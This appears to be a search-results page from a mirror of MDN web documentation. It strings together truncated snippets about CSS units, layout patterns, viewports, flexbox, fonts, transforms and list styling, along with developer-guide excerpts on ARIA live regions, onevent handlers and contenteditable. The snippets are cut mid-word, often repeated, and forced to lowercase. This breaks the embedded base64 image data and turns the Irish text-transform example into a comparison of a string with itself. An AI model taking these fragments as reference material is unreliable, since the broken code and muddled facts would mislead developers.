1024 or -55. an integer may be preceded by a + or - symbol, with no space between the symbol and the integer. numbers a <number> represents a real number, which may or may not have a decimal point with a fractional component, for example 0.255, 128 or -1.2. numbers may also be preceded by a + or - symbol. dimensions a <dimension> is a <number> with a unit attached to it, for example 45deg, 100ms, or 10px. the attached unit identifier is case insensitive. there is never a space or any other characters between a the number and the unit identifier: i.e. 1 cm is not valid. css uses dimensions to specify: <length> (distance units) <angle> <time> <frequency> <resolution> these are all covered in subsections below. distance units where a distance unit, also known as a length, is all...
...ion deg degrees there are 360 degrees in a full circle. grad gradians there are 400 gradians in a full circle. rad radians there are 2π radians in a full circle. turn turns there is 1 turn in a full circle. time units time values are represented by the type <time>. when including a time value, the unit identifier -- the s or ms -- is required. it accepts the following values. unit name description s seconds ms milliseconds there are 1,000 milliseconds in a second. frequency units frequency values are represented by the type <frequency>. it accepts the following values. unit name description hz hertz represents the number of occ...
...otation followed by a right parenthesis ). functions can take multiple arguments, which are formatted similarly to a css property value. white space is allowed, but optional inside the parentheses. (but see notes regarding whitespace within pages for min(), max() and clamp() functions.) some legacy functional notations such as rgba() use commas, but generally commas are only used to separate items in a list. if a comma is used to separate arguments, white space is optional before and after the comma. specifications specification status comment css values and units module level 4 editor's draft adds the vi, vb, ic, cap, lh and rlh units. adds the min(), max() and clamp() functional notation adds toggle() css values and units module level ...
Pagination - CSS: Cascading Style Sheets
typically, the pagination component will be centered horizontally underneath the content. ...
... typically, the pagination component will be centered horizontally underneath the content. ...
...pagination component will be centered horizontally underneath the content. recipe download this example choices made this pattern is laid out using flexbox — one flex container nested inside another. the <nav> element is designated a flex container in order that we can center the list inside using the justify-content property. the list itself also becomes a flex container to lay the items out as a row. to space the items out we will use a margin on the flex items. alternative methods once the column-gap property has implementation in browsers this could be used instead of margins to space out the items. .pagination { list-style: none; margin: 0; padding: 0; display: flex; column-gap: 2px; } accessibility concerns we want to ensure that a person using a screenreader...
Split Navigation - CSS: Cascading Style Sheets
an auto margin absorbs all available space in the direction it is applied. this is how centering a block with auto margins works — you have a margin on each side of the block trying to take up all of the space, thus pushing the block into the middle. ...
... an auto margin absorbs all available space in the direction it is applied. this is how centering a block with auto margins works — you have a margin on each side of the block trying to take up all of the space, thus pushing the block into the middle. ...
... an auto margin absorbs all available space in the direction it is applied. this is how centering a block with auto margins works — you have a margin on each side of the block trying to take up all of the space, thus pushing the block into the middle. ...
Viewport concepts - CSS: Cascading Style Sheets
that is, the part of the document you are viewing. documents like this article may be very long. your viewport is everything that is currently visible, notably, the "what is a viewport section", and perhaps some of the navigation menu. ...
...that is, the part of the document you are viewing. documents like this article may be very long. your viewport is everything that is currently visible, notably, the "what is a viewport section", and perhaps some of the navigation menu. ...
... using the keyboard. the header and footer stayed flush against the top and bottom of the window. but what if we had pinched-zoomed on a tablet? what if a dynamic keyboard pops open on a phone? the web contains two viewports, the layout viewport and the visual viewport. the visual viewport is the part of the web page that is currently visible in the browser and can change. when the user pinch-zooms the page, pops open a dynamic keyboard, or when a previously hidden address bar becomes visible, the visual viewport shrinks but the layout viewport is unchanged. sticky headers or footers, as discussed above, stick to the top and bottom of the layout viewport, and therefore remain in view when we zoom in with the keyboard. if you pinch-zoom, the layout viewport may not be fully visible. if you ...
aspect-ratio - CSS: Cascading Style Sheets
aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... valueschrome android partial support 79notes partial support 79notes notes chrome 79 adds internal support only for mapped valuesfirefox android no support noopera android no support nosafari ios no support nosamsung internet android no support nointernal mapping of width and height experimentalchrome full support 79edge full support 79firefox full support 71 full support 71 ...
...expect behavio...
background-position-x - CSS: Cascading Style Sheets
standing implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 49opera android full support 18safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no support see also background-position background-position-y background-position-inline background-position-block using multiple b...
background-position-y - CSS: Cascading Style Sheets
standing implementations. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 49opera android full support 14safari ios full support 1samsung internet android full support 1.0two-value syntax (support for offsets from any edge)chrome no support noedge no support 12 — 79firefox full support 49ie full support 9opera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 49opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no support see also background-position background-position-x background-position-inline background-position-block using multiple b...
background-size - CSS: Cascading Style Sheets
n initial definition. browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support 4.2 full support 1prefixed notes prefixed implemented with the vendor prefix: -webkit-notes webkit-based browsers originally implemented an older draft of css3 background-size in which an omitted second value is treated as duplicating the first value; this draft does not include the contain or cover keywords.samsung internet android full support 1.0 full support 1.0 full support 1.0prefixed notes prefixed implemented with the vendor prefix: -webkit-notes webkit-based browsers originally implemented an older draft of css3 background-size in which an omitted second value is ...
... ...
box-align - CSS: Cascading Style Sheets
Web › CSS › box-align
ions not part of any standard. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...expect poor cro...
... full support no support no supportnon-standard. expect poor cross-browser support.non-standard. expect poor cross-browser support.deprecated. not for use in new websites.deprecated. not for use in new websites.requires a vendor prefix or different name for use.requires a vendor prefix or different name for use. see also align-items, box-orient, box-direction, box-pack ...
clear - CSS: Cascading Style Sheets
Web › CSS › clear
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support 1chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0flow-relative values inline-start and inline-endchrome no support noedge no support nofirefox full support 55ie no support noopera ...
...rt nowebview android no support nochrome android no support nofirefox android full support 55opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no support see also css basic box model ...
flex-grow - CSS: Cascading Style Sheets
Web › CSS › flex-grow
umber> see <number>. negative values are invalid. defaults to 0. description this property specifies how much of the remaining space in the flex container should be assigned to the item (the flex grow factor). the main size is either width or height of the item which is dependent on the flex-direction value. the remaining space is the size of the flex container minus the size of all flex items' sizes together. if all sibling items have the same flex grow factor, then all items will receive the same share of remaining space, otherwise it is distributed according to the ratio defined by the different flex grow factors. flex-grow is used alongside the other flex properties flex-shrink and flex-basis, and normally defined using the flex shorthand to ensure all values are set. formal defi...
...ave the same flex grow factor, then all items will receive the same share of remaining space, otherwise it is distributed according to the ratio defined by the different flex grow factors. flex-grow is used alongside the other flex properties flex-shrink and flex-basis, and normally defined using the flex shorthand to ensure all values are set. formal definition initial value0applies toflex items, including in-flow pseudo-elementsinheritednocomputed valueas specifiedanimation typea number formal syntax <number> examples setting flex item grow factor html <h4>this is a flex-grow</h4> <h5>a,b,c and f are flex-grow:1 . d and e are flex-grow:2 .</h5> <div id="content"> <div class="box" style="background-color:red;">a</div> <div class="box" style="background-color:lightblue;">b</div...
... candidate recommendation initial definition ...
font-variant-alternates - CSS: Cascading Style Sheets
the font-variant-alternates css property controls the usage of alternate glyphs. these alternate glyphs may be referenced by alternative names defined in @font-feature-values. ...
...rnates: inherit; font-variant-alternates: unset; the @font-feature-values at-rule can define names for alternative glyph functions (stylistic, styleset, character-variant, swash, ornament or annotation), associating the name with opentype parameters. this property allows those human-readable names (defined in @font-feature-values) in the stylesheet. syntax this property may take one of two forms: either the keyword normal or one or more of the other keywords and functions listed below, space-separated, in any order. values normal this keyword deactivates alternate glyphs. historical-forms this keyword enables historical forms — glyphs that were common in the past but not today. it corresponds to the opentype value hist. stylistic() this function enables stylistic alternat...
...d digits or inverted characters. the parameter is a font-specific name mapped to a number. it corresponds to the opentype value nalt, like nalt 2. formal definition initial valuenormalapplies toall elements. ...
font-variant-ligatures - CSS: Cascading Style Sheets
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...lues> */ font-variant-ligatures: no-contextual; /* <contextual-alt-values> */ /* global values */ font-variant-ligatures: inherit; font-variant-ligatures: initial; font-variant-ligatures: unset; the font-variant-ligatures property is specified as one of the keyword values listed below. values normal this keyword leads to the activation of the usual ligatures and contextual forms needed for correct rendering. the ligatures and forms activated depend on the font, language and kind of script. this is the default value. none this keyword specifies that all ligatures and contextual forms are disabled, even common ones. <common-lig-values> these values control the most common ligatures, like for fi, ffi, th or similar. they correspond to the opentype values liga and clig. ...
...ues> || <historical-lig-values> || <contextual-alt-values> ]where <common-lig-values> = [ common-ligatures | no-common-ligatures ]<discretionary-lig-values> = [ discretionary-ligatures | no-discretionary-ligatures ]<historical-lig-values> = [ historical-ligatures | no-historical-ligatures ]<contextual-alt-values> = [ contextual | no-contextual ] examples setting font ligatures and contextual forms html <link href="//fonts.googleapis.com/css?family=lora" rel="stylesheet"> <p class="normal"> normal<br> if fi ff tf ft jf fj </p> <p class="none"> none<br> if fi ff tf ft jf fj </p> <p class="common-ligatures"> common-ligatures<br> if fi ff tf ft jf fj </p> <p class="no-common-ligatures"> no-common-ligatures<br> if fi ff tf ft jf fj </p> <p class="discretionary-ligatures"> di...
font-variant-position - CSS: Cascading Style Sheets
. if, in a given run, one such glyph is not available for a character, all the characters in the run are rendered using synthesized glyphs. formal definition initial valuenormalapplies toall elements. ...
...on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... no support 24 — 34disabled disabled from version 24 until version 34 (exclusive): this feature is behind the layout.css.font-features.enabled preference (needs to be set to true). to change preferences in firefox, visit about:config.opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no supportuser must explicitly enable this feature.user must explicitly enable this feature. ...
hyphens - CSS: Cascading Style Sheets
Web › CSS › hyphens
working draft initial definition ...
... working draft initial definition ...
... working draft initial definition ...
letter-spacing - CSS: Cascading Style Sheets
on initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1webview android full support ≤37chrome android full support 18firefox android full support 4opera android full support 10.1safari ios full support 1samsung internet android full support 1.0svg supportchrome full support 1edge full support 12firefox full support 72ie full support 9opera full support ...
... 5.1webview android full support ≤37chrome android full support 18firefox android no support noopera android full support 10.1safari ios full support 5.1samsung internet android full support 1.0legend full support full support no support no support see also font-kerning ...
list-style-type - CSS: Cascading Style Sheets
will be the same as the computed color of the element it applies to. only a few elements (<li> and <summary>) have a default value of display: list-item. however, the list-style-type property may be applied to any element whose display value is set to list-item. moreover, because this property is inherited, it can be set on a parent element (commonly <ol> or <ul>) to make it apply to all list items. syntax /* partial list of types */ list-style-type: disc; list-style-type: circle; list-style-type: square; list-style-type: decimal; list-style-type: georgian; list-style-type: trad-chinese-informal; list-style-type: kannada; /* <string> value */ list-style-type: '-'; /* identifier matching an @counter-style rule */ list-style-type: custom-counter-style; /* keyword value */ list-style-type...
...rdu -moz-urdu example accessibility concerns the voiceover screen reader has an issue where unordered lists with a list-style-type value of none applied to them will not be announced as a list. to address this, add a zero-width space as pseudo content before each list item to ensure the list is announced properly. ...
...s the design is unaffected by the bug fix and that list items are not improperly described. ...
list-style - CSS: Cascading Style Sheets
the list-style css shorthand property allows you set all the list style properties at once. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. note: this property is applied to list items, i.e., elements with display: list-item; . by default this includes <li> elements. because this property is inherited, it can be set on a parent element (normally <ol> or <ul>) to make the same list styling apply to all the items inside. constituent properties this property is a shorthand for the following css properties: list-style-image list-style-position list-style-type syntax /* type */ list-style: square; /* image...
...none no list style is used. accessibility concerns safari has an issue whereby unordered lists with a list-style value of none applied to them will not be recognized as a list in the accessibility tree. to address this, add a zero-width space as pseudo-content before each list item to ensure the list is recognized properly. this ensures the design is unaffected by the bug fix and that list items are not improperly described. ul { list-style: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position:...
...e: none; } ul li::before { content: "\200b"; } voiceover and list-style-type: none – unfettered thoughts mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.1 | w3c understanding wcag 2.0 formal definition initial valueas each of the properties of the shorthand:list-style-type: disclist-style-position: outsidelist-style-image: noneapplies tolist itemsinheritedyescomputed valueas each of the properties of the shorthand:list-style-image: none or the image with its uri made absolutelist-style-position: as specifiedlist-style-type: as specifiedanimation typediscrete formal syntax <'list-style-type'> | <'list-style-position'> | <'list-style-image'> examples setting list style type and position html list 1 <ul class="one"> <li>list item1</li...
mix-blend-mode - CSS: Cascading Style Sheets
ion initial definition browser compatibility the compatibility table in this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 8webview android full support 41chrome android full support 41firefox android full support 32opera android full support 28safari ios full support 8samsung internet android full support 4.0on svg elementschrome full support 41edge full support 79firefox full support 32ie no support noopera full support ...
...rt nowebview android no support nochrome android no support nofirefox android full support 32opera android no support nosafari ios no support nosamsung internet android no support nolegend full support full support no support no support see also <blend-mode> background-blend-mode ...
object-fit - CSS: Cascading Style Sheets
<img class="scale-down" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> <img class="scale-down narrow" src="https://udn.realityripple.com/samples/ae/248a9938d9.png" alt="mdn logo"> </section> css h2 { font-family: courier new, monospace; font-size: 1em; margin: 1em 0 0.3em; } div { display: flex; flex-direction: column; flex-wrap: wrap; align-items: flex-start; height: 940px; } img { width: 150px; height: 100px; border: 1px solid #000; } .narrow { width: 100px; height: 150px; margin-top: 10px; } .fill { object-fit: fill; } .contain { object-fit: contain; } .cover { object-fit: cover; } .none { object-fit: none; } .scale-down { object-fit: scale-down; } result specifications specification stat...
...ion initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetobject-fitchrome full support 31edge full support 16notes full support 16notes notes edge supports object-fit on img elements only. see edge issue 13603873 for details.firefox full support 36ie ...
...refox android full support 36opera android full support 19 full support 19 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 10samsung internet android full support 2.0legend full support full support no support no supportsee implementation notes.see implementation notes.requires a vendor prefix or different name for use.requires a vendor prefix ...
object-position - CSS: Cascading Style Sheets
n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
...refox android full support 36opera android full support 19 full support 19 full support 12prefixed prefixed implemented with the vendor prefix: -o-safari ios full support 10samsung internet android full support 2.0support for three-value syntax of positionchrome no support 31 — 68edge no support 16 — 79firefox no support 36 — 70ie no support noopera no support 19 — 55 ...
... see also other image-related cs...
order - CSS: Cascading Style Sheets
Web › CSS › order
the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax /* <integer> values */ order: 5; order: -5; /* global values */ order: inherit; order: initial; order: unset; since order is only meant to affect the visual order of elements and not their logical or tab order. order must not be used on non-visual media such as speech. ...
...screen reader. if the visual (css) order is important, then screen reader users will not have access to the correct reading order. flexbox & the keyboard navigation disconnect — tink source order matters | adrian roselli mdn understanding wcag, guideline 1.3 explanations understanding success criterion 1.3.2 | w3c understanding wcag 2.0 formal definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer formal syntax <integer> examples ordering items in a flex container this example uses css to create a classic two-sidebar layout surrounding a content block. the flexible box layout module automatically creates blocks of equal vertical size and uses as much horizontal space as avail...
...align:center; } main > article { flex:1; order: 2; } main > nav { width: 200px; order: 1; } main > aside { width: 200px; order: 3; } result specifications specification status comment css flexible box layout modulethe definition of 'order' in that specification. candidate recommendation initial definition initial value0applies toflex items and absolutely-positioned flex container childreninheritednocomputed valueas specifiedanimation typean integer ...
orphans - CSS: Cascading Style Sheets
Web › CSS › orphans
shown at the bottom of a page, region, or column. /* <integer> values */ orphans: 2; orphans: 3; /* global values */ orphans: inherit; orphans: initial; orphans: unset; in typography, an orphan is the first line of a paragraph that appears alone at the bottom of a page. (the paragraph continues on a following page.) syntax values <integer> the minimum number of lines that can stay by themselves at the bottom of a fragment before a fragmentation break. the value must be positive. formal definition initial value2applies toblock container elementsinheritedyescomputed valueas specifiedanimation typediscrete formal syntax <integer> examples setting a minimum orphan size of three lines html <div> <p>this is the first paragraph containing some text.</p> <p>this is the second ...
...n initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1.3webview android full support ≤37chrome android full support 25firefox android no support noopera android full support 14safari ios full support 1samsung internet android full support 1.5legend full support full support no support no support see also widows paged media ...
paint() - CSS: Cascading Style Sheets
Web › CSS › paint
on defines an <image> value generated with a paintworklet. syntax paint(workletname, parameters) where: workletname the name of the registered worklet. parameters optional additional parameters to pass to the paintworklet examples you can pass additional arguments via the css paint() function. ...
...ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 65chrome android full support 65firefox android no support noopera android full support 47safari ios no support nosamsung internet android full support 9.2legend full support full support no support no support see also paintworklet css painting api using the css painting api <image> canvas ...
rotate - CSS: Cascading Style Sheets
Web › CSS › rotate
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform property. syntax /* keyword values */ rotate: none; /* angle value */ rotate: 90deg; rotate: 0.25turn; rotate: 1.57rad; /* x, y, or z axis name plus angle */ rotate: x 90deg; rotate: y 0.25turn; rotate: z 1.57rad; /* vector plus angle value */ rotate: 1 1 1 90deg; values angle value an <angle> specifying the angle to rotate the affected element through, around the z axis. equivalent to a rotate() (2d rotation) function. ...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
ruby-position - CSS: Cascading Style Sheets
aft initial definition browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nosafari ios no support nonotes no support nonotes notes safari implements a non-standard, prefixed, version of ruby-position, -webkit-ruby-position: it has two properties: before and after (both equivalent, for ltr and rtl scripts to the standard over value used with ruby-align: start).samsung internet android no support nointer-character experimentalchrome no support noedge no support nofirefox no support noie no support noopera no support ...
...expect behavior to change in the future.experimental. expect behavior to change in the future.see implementation no...
scale - CSS: Cascading Style Sheets
Web › CSS › scale
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform value. syntax /* keyword values */ scale: none; /* single values */ /* values of more than 1 make the element grow */ scale: 2; /* values of less than 1 make the element shrink */ scale: 0.5; /* two values */ scale: 2 0.5; /* three values */ scale: 2 0.5 2; values single number value a <number> specifying a scale factor to make the affected element scale by the same factor along both the x and y axes. ...
... editor's draft initial definition. ...
... editor's draft initial definition. ...
<shape> - CSS: Cascading Style Sheets
Web › CSS › shape
s with the clip property. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... 1.3webview android full support 37chrome android full support 18firefox android full support 4opera android full support 14safari ios full support 1samsung internet android full support 1.0rect() deprecatedchrome full support 1edge full support 12firefox full support 1ie full support 5.5notes full support ...
...not for use in new websites.deprecated. not for use in new websites.see implementation notes.see implementation notes. see also related css property: clip the -moz-image-rect() function has similar co...
text-transform - CSS: Cascading Style Sheets
text-transform: capitalize, which only puts the first letter of a word in uppercase. in greek (el), vowels lose their accent when the whole word is in uppercase (ά/Α), except for the disjunctive eta (ή/Ή). also, diphthongs with an accent on the first vowel lose the accent and gain a diaeresis on the second vowel (άι/ΑΪ). in greek (el), the lowercase sigma character has two forms: σ and ς. ς is used only when sigma terminates a word. when applying text-transform: lowercase to an uppercase sigma (Σ), the browser needs to choose the right lowercase form based on context. in irish (ga), certain prefixed letters remain in lowercase when the base initial is capitalized, so for example text-transform: uppercase will change ar aon tslí to ar aon tslÍ and not, as one mig...
...gma (Σ), the browser needs to choose the right lowercase form based on context. in irish (ga), certain prefixed letters remain in lowercase when the base initial is capitalized, so for example text-transform: uppercase will change ar aon tslí to ar aon tslÍ and not, as one might expect, ar aon tslÍ (firefox only). in some cases, a hyphen is also removed upon uppercasing: an t-uisce transforms to an tuisce (and the hyphen is correctly reinserted by text-transform: lowercase). the language is defined by the lang html attribute or the xml:lang xml attribute. note: support for language-specific cases varies between browsers, so check the browser compatibility table. syntax /* keyword values */ text-transform: none; text-transform: capitalize; text-transform: uppercase; text-transfo...
...ontains the version the different engines started to support this now precisely-defined behavior. uppercase is a keyword that converts all characters to uppercase. lowercase is a keyword that converts all characters to lowercase. none is a keyword that prevents the case of all characters from being changed. full-width is a keyword that forces the writing of a character — mainly ideograms and latin scripts — inside a square, allowing them to be aligned in the usual east asian scripts (like chinese or japanese). full-size-kana generally used for <ruby> annotation text, the keyword converts all small kana characters to the equivalent full-size kana, to compensate for legibility issues at the small font sizes typically used in ruby. accessibility concerns large sections of tex...
matrix3d() - CSS: Cascading Style Sheets
ℙ3 this transformation applies to the 3d space and can't be represented on the plane. a generic 3d affine transformation can't be represented using a cartesian-coordinate matrix, as translations are not linear transformations. a1a2a3a4b1b2b3b4c1c2c3c4d1d2d3d4 examples cube squashing example the following example shows a 3d cube created from dom elements and transforms, which can be hovered/focused to apply a matrix3d() transform to it. html <section id="example-element" tabindex="0"> <div class="face front">1</div> <div class="face back">2</div> <div class="face right">3</div> <div class="face left">4</div> <div class="face top">5</div> <div class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transf...
...iv class="face bottom">6</div> </section> css #example-element { width: 100px; height: 100px; transform-style: preserve-3d; transition: transform 1.5s; transform: rotate3d(1, 1, 1, 30deg); margin: 50px auto; } #example-element:hover, #example-element:focus { transform: rotate3d(1, 1, 1, 30deg) matrix3d(1,0,0,0,0,1,6,0,0,0,1,0,50,100,0,1.1); } .face { display: flex; align-items: center; justify-content: center; width: 100%; height: 100%; position: absolute; backface-visibility: inherit; font-size: 60px; color: #fff; } .front { background: rgba(90,90,90,.7); transform: translatez(50px); } .back { background: rgba(0,210,0,.7); transform: rotatey(180deg) translatez(50px); } .right { background: rgba(210,0,0,.7); transform: rotatey(90deg...
... editor's draft initial definition ...
transform - CSS: Cascading Style Sheets
Web › CSS › transform
: unset; the transform property may be specified as either the keyword value none or as one or more <transform-function> values. if perspective() is one of multiple function values, it must be listed first. values <transform-function> one or more of the css transform functions to be applied. the transform functions are multiplied in order from left to right, meaning that composite transforms are effectively applied in order from right to left. none specifies that no transform should be applied. accessibility concerns scaling/zooming animations are problematic for accessibility, as they are a common trigger for certain types of migraine. if you need to include such animations on your website, you should provide a control to allow users to turn off animations, preferrably site-wid...
... working draft initial definition. ...
...ntage> examples translating and rotating an element html <div>transformed element</div> css div { border: solid red; transform: translate(30px, 20px) rotate(20deg); width: 140px; height: 60px; } result more examples please see using css transforms and <transform-function> for more examples. specifications specification status comment css transforms level 2the definition of 'transform' in that specification. editor's draft adds 3d transform functions. css transforms level 1the definition of 'transform' in that specification. working draft initial definition. ...
translate - CSS: Cascading Style Sheets
Web › CSS › translate
this maps better to typical user interface usage, and saves having to remember the exact order of transform functions to specify in the transform value. syntax /* keyword values */ translate: none; /* single values */ translate: 100px; translate: 50%; /* two values */ translate: 100px 200px; translate: 50% 105px; /* three values */ translate: 50% 105px 5rem; values single <length-percentage> value a <length> or <percentage> that specifies a 2d translation, with the same translation along both the x and y axes. ...
... editor's draft initial definition. initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking contextyes ...
... editor's draft initial definition. initial valuenoneapplies totransformable elementsinheritednopercentagesrefer to the size of bounding boxcomputed valueas specified, but with relative lengths converted into absolute lengthsanimation typea transformcreates stacking contextyes ...
WAI ARIA Live Regions/API Support - Developer guides
es will help screen reader developers improve the quality and performance of live region support, both for pages that are marked up with aria live region markup, and for pages where the author did not add any additional markup. please read the aria spec or the live region report to learn about aria live region markup. as always, we're open to questions and suggestions for changes in community forums. events fired for web page mutations what changed in document? atk/at-spi event iaccessible2 event object about to be hidden or removed children_changed::remove (fired on the parent, with event data pointing to the child index of the accessible object to be removed) event_object_hide* (fired on the actual accessible object about to go away) object shown or ...
...retrieving author-supplied aria live region semantics from an event for any mutation event in a page, the author can get the following object attributes from the event object, if they are defined on some ancestor el...
...erties where the container-[name] attribute has not been set, the at must have code to fall back on the default value as defined in the w3c spec. determining if event was from user input all events will now provide information about whether the event was caused by user input, or was something that the web page caused. this information is retrieved differently on each platform, because some platforms use asynchronous events. in iaccessible2, this is retrieved from the object attribute "event-from-input", which will be set to "true" or "false". if it is not present, then something went wrong and mozilla was not able to provide this information. this information is available only for event_show, event_hide, ia2_event_text_inserted and ia2_event_text_removed. for atk/at-spi, this information is ...
DOM onevent handlers - Developer guides
the web platform provides several ways to be notified of dom events. two common approaches are addeventlistener() and the specific onevent handlers. this page focuses on how the latter work. registering onevent handlers the onevent handlers are properties on certain dom elements to manage how that element reacts to events. elements can be interactive (links, buttons, images, forms, and so forth) or non-interactive (such as the base <body> element). events are actions like: being clicked detecting pressed keys getting focus the onevent handler is usually named with the event it reacts to, like onclick, onkeypress, onfocus, etc. you can specify an on<…> event handler for a particular event (such as click) for a given object in different ways: adding an html attribute nam...
...ent: <p>demonstrating quirks of <code>on<em>event</em></code> html attributes on <a onclick="log('click!')">these three words</a>. </p> <div></div> javascript then this javascript demonstrates that the value of the html attribute is unaffected by changes to the javascript object's property. ...
...code>on<em>event</em></code> html attributes on <a onclick="log('click!')">these three words</a>. </p> <div></div> javascript then this javascript demonstrates that the value of the html attribute is unaffected by changes to the javascript object's property. ...
Making content editable - Developer guides
ss="heading" selected>- background -</option> <option value="red">red</option> <option value="green">green</option> <option value="black">black</option> </select> </div> <div id="toolbar2"> <img class="intlink" title="clean" onclick="if(validatemode()&&confirm('are you sure?')){odoc.innerhtml=sdeftxt};" src="data:image/gif;base64,r0lgodlhfgawaiqbad04ktrlyzfrjlldzl9vj1dusy14wyodhpwibbsvfy6o7ioxw5qbms+wubcztca0ccs4kddqjdtltmrl1o3yitha7opcsd/f4pfvrvdv8pv5xv///////////////////yh5baekab8alaaaaaawabyaaav84ceozgmeakqubmteyzk547qobcfwtm/jgshq4rhmloxfiehqqsawr+z4iayaj0kegtfolizlwre4ocqwrxototaihmcz0tvgmbqkzhayyfewev14eq8iflhnehmfdqkaiskqci2pdc4qbg+oajc0ewadncogo6anqkkoiqa7" /> <img class="intlink" title="print" onclick="printdoc();" src="data:image/png;base64,ivborw0kggoaaaansuheugaaabyaaaawcayaaadet...
...15psj04zc94wdtibr26fxlc2mzrvbccebz2kirfd414tkmlezbvgt33+qcohgha81swysew0r1uzfnylmtpx80pngqq91lwvk2jgvgnfvzg6ycyrat16gftw5kkkfo1eqltfh5q2ett0biwf+aitq4fdbk+imyo1oxvgf03wafjqvbckvdffryetxqiffygazths0zwagd7fg5tnnyntp8/fzvgwjofmgg7gox0sakkgqgdmgkbi0njgmeimpgdk5+wacewed0ywblhguz4hw5oduekrblt7dtgdegxacsiznx8zpmwh7k4rkpjcuhdxcul6mdsmmbxdlwch2+xozsgbnzsncee4euyv4pwcpswypw0uhdybkswu1nyjendreqtkjwn2+zvttc1vmstb/mvev/weyslasslimcohobjxw+n3ap/sjefnl5gepzmpu4kg7opr1+tofpyuu3becwykcwqcdfmwfkauo90fhkdinbcamvqnymgqueagqwcohbdc1rjv9pild8ibvkz6qyviibqgtjpx4k0xpigezorn1da0cij4vfr0ta3wvbxh/rjdcufv6r2zpgph/e4pxsbcpeatqprjniso203/5s/za171mv8+w1loaaaaaelftksuqmcc"> <img class="intlink" title="undo" onclick="formatdoc('undo');" src="data:image/gif;base64,r0lgodlhfgawaomkadljwlie33morpgjuykl8aezxqpd+7/i19dv3nha7p///...
